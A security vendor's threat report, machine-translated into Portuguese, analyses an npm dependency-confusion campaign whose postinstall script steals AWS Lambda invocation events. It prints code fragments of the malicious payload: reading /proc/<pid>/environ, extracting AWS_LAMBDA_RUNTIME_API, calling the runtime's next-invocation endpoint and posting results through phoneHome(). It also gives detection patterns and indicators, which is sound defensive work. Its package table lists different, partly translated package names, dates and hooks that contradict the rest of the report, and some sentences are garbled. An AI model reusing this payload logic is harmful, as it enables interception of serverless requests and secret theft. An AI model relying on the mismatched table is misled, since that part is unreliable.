Ataque de confusão de dependência do npm no AWS Lambda: a campanha 24712-pl

Ataque de confusão de dependência do npm no AWS Lambda: a campanha 24712-pl

TL, DR

Entre 6º e 7 de maio de 2026, um único editor npm, pelavelle, enviou oito pacotes sem dependências usando nomes que seguiam o mesmo padrão interno: 24712-pl*.

Os pacotes incluíam 24712-pl3469, 24712-pl4712, 24712-pl5006, 24712-plv2 e 24712-plv3O prefixo numérico sugere fortemente um ataque de confusão de dependências do npm contra um namespace de pacote interno ou um esquema de ID de pacote.

Todos os oito pacotes irmãos já haviam sido removidos do npm pelo editor entre 2026-05-06T21:52Z e 2026-05-07T00:31ZOs metadados do registro direto confirmaram que os arquivos tar agora retornam o erro HTTP 404.

No entanto, o agrupamento ainda é importante.

A amostra canônica, 24712-pl5006:0.0.1, contém um postinstall.js script que é executado durante npm installEm vez de roubar variáveis ​​de ambiente genéricas, ele procura especificamente por AWS_LAMBDA_RUNTIME_API, a variável de ambiente usada pelos tempos de execução do AWS Lambda.

Se o script encontrar AWS_LAMBDA_RUNTIME_API, ele chama o endpoint da API do Lambda Runtime:

Caminho da API do Lambda Runtime /2018-06-01/runtime/invocation/next

Essa chamada tenta consumir o próximo evento de invocação Lambda pendente antes que o manipulador Lambda legítimo possa processá-lo.

O evento capturado, incluindo cabeçalhos, ID da solicitação, contexto da conta e até 8 KB do corpo da solicitação, é então enviado para um endpoint de comunicação com o servidor de destino controlado pelo atacante por meio do script. phoneHome() função.

O sistema de Alerta Antecipado de Malware (MEW) da Xygeni classificou a amostra canônica como provavelmente maliciosa, com uma pontuação de 91.3/100.

Estamos acompanhando isso como um ataque de confusão de dependências do npm com comportamento de sequestro de execução do AWS Lambda.

O Cluster: Oito Pacotes, Uma Editora

A conta do editor pelavelle utilizou o endereço de e-mail:

pelavelle@clovercode.com

A conta tinha um e-mail não verificado, não. SCM verificação e uma baixa pontuação de reputação de 5.

A editora lançou oito pacotes relacionados em um curto período entre 06/05/2026 às 20h45 e 22h36 UTC. Os nomes dos pacotes seguem o mesmo padrão:

24712-pl*
 

Esse padrão é o sinal principal. Não parece ser um utilitário público para desenvolvedores. Em vez disso, parece ser um esquema de nomenclatura de pacotes internos.

#PacoteVersão MaliciosaCriado, UTCNão publicado, UTCCarga útil confirmadaInstalar gancho
1explorador do cosmos1.1.32026-05-01T18:26Z2026-05-01T19:01ZInferido, mesmo editor/clusterpré-instalação, presumida
2sinaisdk-web1.0.0, 10.0.02026-05-04T13:57Z2026-05-04T18:51ZInferidopré-instalação, presumida
3ms.analytics-web99.0.0, 99.9.132026-05-04T18:47Z2026-05-05T10:07ZInferidopré-instalação, presumida
4ícones.gerados99.9.132026-05-05T10:02Z2026-05-05T12:57ZInferidopré-instalação, presumida
5rastreamento de latência99.9.02026-05-05T11:57Z2026-05-05T12:57ZInferidopré-instalação, presumida
6rastreamento de latência internoVersões removidas do registro2026-05-06T06:02Z2026-05-06T08:35ZInferidopré-instalação, presumida
7carboniteapp99.9.02026-05-06T05:49Z2026-05-06T08:35ZSim, fluxo de código completo do scannerpré-instalação: node index.js
8carbonita-interna99.9.02026-05-06T06:14Z2026-05-06T08:36ZSim, fluxo de código completo do scannerpré-instalação: node index.js

Total de versões em todo o cluster: 19 tuplas versão-pacote.

A amostra canônica, 24712-pl5006:0.0.1, foi publicado em 2026-05-06T22:36:34Z e digitalizado por MEW de Xygeni pipeline antes do evento de não publicação.

Continha quatro arquivos, incluindo package/postinstall.js, com 3,335 bytes de código-fonte total.

O canônico commit hash era:

83e0efbfd110abb2398a06196fb698565a3f6cc6

Por que o padrão do nome é importante

Os nomes dos pacotes são o indicador mais forte de intenção.

Todos começam com o mesmo prefixo:

24712-pl

Em seguida, adicionam sufixos numéricos ou semelhantes a versões:

24712-pl3469 24712-pl4712 24712-pl4713 24712-pl5004 24712-pl5005 24712-pl5006 24712-plv2 24712-plv3

Isso não se assemelha à nomenclatura pública normal do npm. Parece mais um prefixo de namespace interno ou um esquema interno de identificação de pacote.

Isso torna o cluster consistente com um ataque de confusão de dependências do npm.

Em um ataque de confusão de dependências, o atacante publica um pacote público com um nome que corresponde, ou parece corresponder, a uma dependência interna. Se o gerenciador de pacotes ou o ambiente de compilação do alvo resolver o pacote público em vez do privado, o código controlado pelo atacante será executado dentro do ambiente do alvo.

A OWASP descreve a confusão de dependências como um vetor de ataque que engana os gerenciadores de pacotes e proxies, fazendo com que busquem um pacote público malicioso em vez do pacote interno pretendido com o mesmo nome.

Para obter um contexto mais aprofundado sobre como esse tipo de ataque funciona, consulte o guia de Xygeni sobre Falta de fixação de versão e confusão de dependências e nossa postagem sobre Identificação e gerenciamento de ataques de dependência de software.

O que acontece durante a instalação?

O pacote canônico declara um postinstall gancho:

{   "scripts": {     "postinstall": "node postinstall.js || true"   } }

O postinstall O ciclo de vida faz parte do sistema de scripts de pacotes do npm. A documentação do npm explica que os pacotes podem definir scripts de ciclo de vida em package.json, incluindo eventos integrados do ciclo de vida da instalação.

O || true é importante.

Ele ignora erros, garantindo que a instalação seja bem-sucedida mesmo que a tentativa de interceptação falhe. Isso ajuda o pacote a evitar problemas na compilação e reduz a chance de desenvolvedores ou sistemas de integração contínua detectarem o comportamento malicioso por meio de uma instalação com falha.

A carga útil é executada durante npm installNão é necessário importar nada pelo desenvolvedor. Não é preciso que o pacote seja chamado pelo caminho do aplicativo.

A instalação em si já é suficiente.

Comportamento da carga útil: sequestro do ambiente de execução Lambda

O postinstall.js O script executa uma sequência específica.

Primeiro, ele lê o ambiente do processo pai do Linux. /proc:

const raw = fs.readFileSync(`/proc/${pid}/environ`, 'utf8');

Em seguida, ele extrai o endpoint de tempo de execução do AWS Lambda:

const match = raw.match(/AWS_LAMBDA_RUNTIME_API=([^\0]+)/);

Se a API de tempo de execução for encontrada, o script a armazena:

runtimeApi = match[1];

Em seguida, envia um primeiro sinal através de phoneHome():

await phoneHome({ step: 'waiting', runtimeApi, ts: ... });

Esse primeiro beacon vaza o endpoint da API de tempo de execução do Lambda.

Em seguida, o script analisa o host e a porta da API de tempo de execução:

const [host, portStr] = runtimeApi.split(':');
 

Por fim, ele chama o caminho da API do AWS Lambda Runtime usado para recuperar a próxima invocação:

http.request({   host,   port,   path: '/2018-06-01/runtime/invocation/next',   method: 'GET',   timeout: 90000 }, ...);

Esse é o cerne do ataque.

O script tenta consumir o próximo evento de invocação do Lambda antes que o manipulador legítimo do Lambda possa processá-lo. O guia de tempo de execução personalizado da AWS também descreve a etapa "obter um evento" como uma chamada à API de próxima invocação.

O que é exfiltrado

Se o script capturar uma invocação, ele enviará o resultado para o ponto de extremidade de comunicação com o servidor de controle do atacante.

Os campos exfiltrados incluem:

CampoSignificado
stepEtapa de execução, como por exemplo waiting, next_error, ou captured
runtimeApiEndpoint da API de tempo de execução do Lambda
accountSidContexto da conta AWS capturada
requestIdID da solicitação de invocação Lambda
isOwnAccountComparação booleana com o valor da conta configurada no script.
statusCodestatus de resposta da API de tempo de execução
headersCabeçalhos de resposta de invocação
bodyCorpo da invocação capturado, dividido em 8,000 caracteres.

A principal chamada de exfiltração é a phoneHome(data) função que codifica os dados em JSON e os envia por meio de um HTTP POST.

A URL exata de destino da comunicação com o servidor de comando e controle não foi preservada nas evidências truncadas disponíveis. Portanto, o npm deve preservar internamente o arquivo tarball não publicado para que o literal do host C2 possa ser extraído antes que a exclusão seja finalizada.

Por que isso é perigoso

Este não é um beacon npm genérico.

A carga útil foi projetada em torno de AWS Lambda modelo de execução.

Se um pacote vulnerável for instalado em um ambiente de execução Lambda, como durante a criação de uma imagem de implantação, a instalação de uma camada Lambda ou um processo de inicialização (init), o ambiente poderá ficar exposto. AWS_LAMBDA_RUNTIME_API.

Assim que o script tiver esse valor, ele poderá chamar:

/2018-06-01/runtime/invocation/next

Esse endpoint retorna o próximo evento de invocação pendente.

Como resultado, o atacante poderá capturar:

  • Órgãos de solicitação
  • Cabeçalhos
  • IDs de solicitação
  • Contexto da conta AWS
  • Dados da solicitação assinada
  • Informações de identificação do cliente
  • Dados do evento S3
  • Cargas úteis específicas da aplicação
  • Contexto de serviço interno

O manipulador legítimo pode nunca ver o evento consumido.

Isso transforma um script de instalação do npm em um mecanismo primitivo de interceptação de eventos Lambda.

Mesmo que o pacote nunca chegue a um ambiente Lambda real, o comportamento ainda pode vazar contexto útil de sistemas de desenvolvimento ou CI. /proc/<pid>/environ Pode expor variáveis ​​de ambiente presentes nos processos pai, que podem incluir chaves da AWS, URLs de banco de dados, tokens de CI ou credenciais de implantação.

É por isso que a verificação de dependências não pode parar nas CVEs conhecidas. As equipes também precisam de detecção de pacotes maliciosos, análise de scripts de instalação e aplicação de políticas de registro. Para obter orientações relacionadas, leia Por que a varredura de dependências é importante para equipes de DevOps e Proteção contra malware: por que o antivírus não consegue impedir ataques à cadeia de suprimentos.

Classificação Xygeni MEW

Xygeni MEW escaneou a amostra canônica. 24712-pl5006:0.0.1 antes do evento de não publicação.

O scanner retornou:

91.3 / 100 probablyMalicious threshold: 80

As evidências incluíram três itens críticos e um item de alta gravidade, confirmando o fluxo de dados de sequestro em tempo de execução do Lambda.

GravidadeevidênciaSignificado
Críticas/proc/<pid>/environ lerLê o ambiente do processo pai
CríticasAWS_LAMBDA_RUNTIME_API ExtraçãoDestinos do endpoint de tempo de execução do Lambda
Críticas/runtime/invocation/next solicitarTentativas de consumir um evento de invocação Lambda real
Altopostinstall escritaExecuta durante a instalação do npm.

O comportamento é altamente específico e de grande impacto. O pacote não precisa de recursos genéricos de malware, pois o endpoint de tempo de execução do Lambda já é um alvo poderoso.

O Xygeni MEW foi projetado para esse tipo de caso: detectar comportamentos suspeitos e maliciosos de pacotes antes que se tornem um incidente subsequente. Para uma visão mais ampla dos padrões de ameaças atuais do npm e do PyPI, consulte Um olhar mais atento aos ataques à cadeia de suprimentos de software em 2025.

Por que o padrão de autodespublicação é importante

Todos os oito pacotes foram retirados de circulação pela editora em um curto período de tempo.

Esse comportamento é suspeito neste contexto.

O cluster apareceu, foi executado se selecionado por um caminho vulnerável de resolução de dependências e, em seguida, desapareceu. Isso é consistente com a limpeza realizada pelo atacante após uma prova de conceito bem-sucedida ou abortada, ou depois que a organização alvo percebeu o problema.

A remoção da publicação cria uma lacuna de visibilidade para os defensores.

Os dados públicos do npm podem não incluir mais os arquivos tar.gz. Algumas versões de pacotes não podem ser baixadas novamente. No entanto, os ambientes afetados ainda podem ter cópias em cache, referências a arquivos de bloqueio, logs de CI ou artefatos do gerenciador de pacotes.

É por isso que a preservação no lado do registro é importante.

O npm deve preservar internamente os arquivos tar não publicados por tempo suficiente para extrair o URL exato de comunicação com o servidor, confirmar a identidade do payload correspondente e dar suporte à resposta a incidentes.

Indicadores de comprometimento e detecção

Editora e Conta

CampoValor
nome de usuário do npmpelavelle
e-mail do editor npmpelavelle@clovercode.com
Email verificadoNão
SCM verificadoNão
Pontuação de reputação do editor5
Padrão de nomenclatura de pacotes^24712-pl[0-9a-z]+$
Prefixo de namespace interno24712-pl

Nomes dos pacotes afetados

24712-pl3469 24712-pl4712 24712-pl4713 24712-pl5004 24712-pl5005 24712-pl5006 24712-plv2 24712-plv3

Amostra canônica

 
CampoValor
Pacote24712-pl5006
Versão0.0.1
Publicado2026-05-06T22:36:34Z
Commit hash83e0efbfd110abb2398a06196fb698565a3f6cc6
UUID de varredura Xygenif80e4244-86d2-4a58-be59-7c56988a0f9f
Pontuação91.3 / 100
VereditoprobablyMalicious

Instalar gancho

{   "scripts": {     "postinstall": "node postinstall.js || true"   } }

Indicadores de tempo de execução do Lambda

Campos de carga útil exfiltrados

step runtimeApi accountSid requestId isOwnAccount statusCode headers body

O corpo do texto foi dividido em 8,000 caracteres.

Notas de Detecção

Diversas regras podem detectar isso. ataque de confusão de dependências do npm e possíveis variantes.

Primeiro, marque os scripts de instalação do npm que leem o ambiente do processo pai de /proc:

/proc/<pid>/environ

Esse comportamento raramente é legítimo para uma dependência do npm durante a instalação.

Em segundo lugar, fique atento aos scripts de instalação de pacotes que fazem referência a:

AWS_LAMBDA_RUNTIME_API

Esta variável de ambiente não deve ser acessada por pacotes npm de terceiros durante a instalação.

Terceiro, bloqueie ou revise os scripts de instalação que chamam:

/2018-06-01/runtime/invocation/next

Este é o endpoint da API do AWS Lambda Runtime para receber a próxima invocação. Um script de instalação de dependências não tem motivo legítimo para consumi-lo.

Em quarto lugar, procure por referências nos arquivos de bloqueio aos nomes dos pacotes afetados:

package-lock.json yarn.lock pnpm-lock.yaml npm-shrinkwrap.json

Qualquer correspondência deve acionar uma revisão de dependências e possíveis confusões.

Quinto, atenção à expressão regular do nome do pacote:

^24712-pl[0-9a-z]+$

especialmente quando a editora é pública, tem baixa reputação, não é verificada ou está fora do registro interno esperado.

Por fim, adicione CI/CD guardrails em torno dos scripts de instalação. Isso é especialmente importante porque os scripts do ciclo de vida do npm podem ser executados durante a instalação do pacote, antes que os desenvolvedores importem qualquer coisa. Para mais informações sobre CI/CD padrões de detecção, veja Xygeni's Os 10 principais indicadores de comprometimento em CI/CD Pipelines e Total Guardrails pela CI/CD Pipelines.

Ações de registro sugeridas

Este agrupamento já não havia sido publicado no momento da elaboração do relatório, mas a sua não publicação não elimina o risco.

Ações recomendadas no npm:

  • Confirme se as remoções de publicação foram uma ação de limpeza iniciada pelo atacante ou uma ação legítima do mantenedor.
  • Suspender ou banir a conta do editor pelavelle.
  • Adicione pelavelle@clovercode.com, os nomes dos pacotes e a expressão regular dos nomes dos pacotes para abusos do npm e listas de bloqueio da cadeia de suprimentos.
  • Conservar amostras de alcatrão não publicadas em armazenamento interno para fins forenses.
  • Extraia o exato phoneHome() URL de destino dos arquivos tarballs preservados.
  • Confirme se todos os pacotes irmãos compartilham a mesma carga útil.
  • Notifique as organizações afetadas se a telemetria de download ou instalação do pacote indicar exposição.

Lista de verificação para resposta a compromissos

Se algum pacote afetado aparecer em arquivos de bloqueio, logs de CI, caches de pacotes, camadas Lambda, imagens de implantação ou artefatos de compilação, trate-o como um possível evento de execução relacionado à confusão de dependências.

Resposta recomendada:

  • Identifique onde o pacote foi instalado: estação de trabalho local, executor de CI, compilação da camada Lambda, imagem de implantação ou ambiente de execução.
  • Preserve os arquivos de bloqueio, o cache do npm, os registros de compilação, os artefatos de implantação e as camadas da imagem do contêiner.
  • Verifique se a instalação ocorreu em um ambiente onde AWS_LAMBDA_RUNTIME_API foi configurado.
  • Analise os registros HTTP de saída em busca de informações desconhecidas. phoneHome() destinos durante a janela de instalação.
  • Audite os registros de invocação do Lambda em busca de eventos descartados, ausentes ou anômalos.
  • Rotacione os segredos expostos ao ambiente de instalação, especialmente chaves da AWS, tokens de CI, credenciais de implantação e URLs de banco de dados.
  • Analise as camadas Lambda e as imagens de implantação em busca de cópias em cache do pacote.
  • Impor a fixação de registros privados para prefixos de pacotes internos.
  • Bloquear a resolução pública do npm para nomes de pacotes que parecem internos.
  • Adicione guardrails pela preinstall, install e postinstall scripts.

Como a Xygeni ajuda a detectar isso mais cedo

Esta campanha é exatamente o tipo de caso em que as equipes de segurança precisam de algo mais do que a varredura de vulnerabilidades tradicional.

Pode não haver CVEPode não haver nenhuma versão vulnerável conhecida. Pode não haver nenhum pacote de longa duração para inspecionar após a limpeza feita pelo editor.

Em vez disso, as equipes precisam de visibilidade em tempo real do comportamento dos pacotes.

Xygeni ajuda combinando:

  • Detecção precoce de malware em registros públicos.
  • Detecção de dependências suspeitas para evitar confusão de dependências e typosquatting.
  • Análise do script de instalação para preinstall, install e postinstall comportamentos.
  • CI/CD guardrails Bloquear pacotes de risco antes que cheguem aos ambientes de compilação ou implantação.
  • Visibilidade da cadeia de suprimentos de software em todas as dependências, pipelines, e artefatos.
  • Aplicação de políticas para nomes de pacotes internos e pacotes públicos não confiáveis.

Isso é importante porque o impacto de um ataque de confusão de dependências do npm Não se limita a laptops de desenvolvedores. Pode alcançar executores de CI, imagens de compilação, camadas Lambda, contêineres de implantação e ambientes adjacentes ao tempo de execução.

Para um contexto mais amplo sobre segurança de aplicativos e cadeia de suprimentos, consulte Pós SCA: Protegendo sua cadeia de suprimentos de software e Software Supply Chain Security Completa.

O que os defensores devem levar consigo

Esta campanha demonstra como a confusão de dependências pode ir além dos simples indicadores de prova de execução.

A carga útil não confirma simplesmente que npm install Executou. Ele tenta interagir com a API do AWS Lambda Runtime e capturar um evento de invocação real.

Essa é uma escalada significativa.

Para equipes que utilizam arquitetura sem servidor, a resolução de dependências faz parte do modelo de ameaças em tempo de execução. Um pacote npm público com um nome que parece interno pode se tornar uma porta de entrada para o contexto de execução do Lambda, dados de requisição e metadados da conta na nuvem.

A principal lição é clara: os prefixos de pacotes internos devem ser protegidos, delimitados e fixados em registros confiáveis. Os scripts de instalação devem ser tratados como superfícies de ataque executáveis, especialmente em CI/CD, construções de contêineres, camadas Lambda e implantação pipelines.

CISAs diretrizes da cadeia de suprimentos de software da empresa A enfatizam a necessidade de proteger o software, aplicar verificações de segurança e responder a vulnerabilidades continuamente ao longo do processo de desenvolvimento. Nesse caso, isso significa tratar a resolução de pacotes, os scripts de pacotes e os ambientes de compilação sem servidor como controles de segurança de primeira classe.

Reportado ao npm para aplicação de medidas em nível de conta, inclusão em listas de bloqueio e preservação de arquivos tarball não publicados.

sca-tools-software-composição-análise-ferramentas
Priorize, corrija e proteja seus riscos de software
Crie sua conta gratuita.
Nenhum cartão de crédito é necessário.

Proteja seu desenvolvimento e entrega de software

com o Suíte de Produtos da Xygeni